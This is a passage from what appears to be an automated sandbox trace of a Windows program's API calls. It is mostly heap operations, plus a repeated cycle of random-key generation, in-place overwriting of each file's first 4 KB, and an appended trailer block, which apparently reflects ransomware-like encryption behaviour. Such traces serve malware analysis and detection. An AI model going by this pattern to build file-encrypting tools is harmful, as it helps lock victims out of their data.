Size=0x20) returned 0x331ea88 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.006] GetProcessHeap () returned 0x540000 [0088.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.007] GetProcessHeap () returned 0x540000 [0088.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.007] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.008] GetProcessHeap () returned 0x540000 [0088.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.009] GetProcessHeap () returned 0x540000 [0088.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.009] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.009] WriteFile (in: hFile=0x9a0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.010] WriteFile (in: hFile=0x9a0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.010] GetProcessHeap () returned 0x540000 [0088.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.010] GetProcessHeap () returned 0x540000 [0088.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.010] GetProcessHeap () returned 0x540000 [0088.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.010] CloseHandle (hObject=0x9a0) returned 1 [0088.016] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 138 [0088.016] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.016] ReadFile (in: hFile=0x9a4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.016] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.016] GetProcessHeap () returned 0x540000 [0088.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.016] GetProcessHeap () returned 0x540000 [0088.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.016] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.016] GetProcessHeap () returned 0x540000 [0088.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.016] ReadFile (in: hFile=0x9a4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.066] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.066] WriteFile (in: hFile=0x9a4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.066] GetProcessHeap () returned 0x540000 [0088.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.066] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.067] GetProcessHeap () returned 0x540000 [0088.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.068] GetProcessHeap () returned 0x540000 [0088.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.069] GetProcessHeap () returned 0x540000 [0088.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.069] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.070] GetProcessHeap () returned 0x540000 [0088.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.071] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.071] WriteFile (in: hFile=0x9a4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.071] WriteFile (in: hFile=0x9a4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.071] GetProcessHeap () returned 0x540000 [0088.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 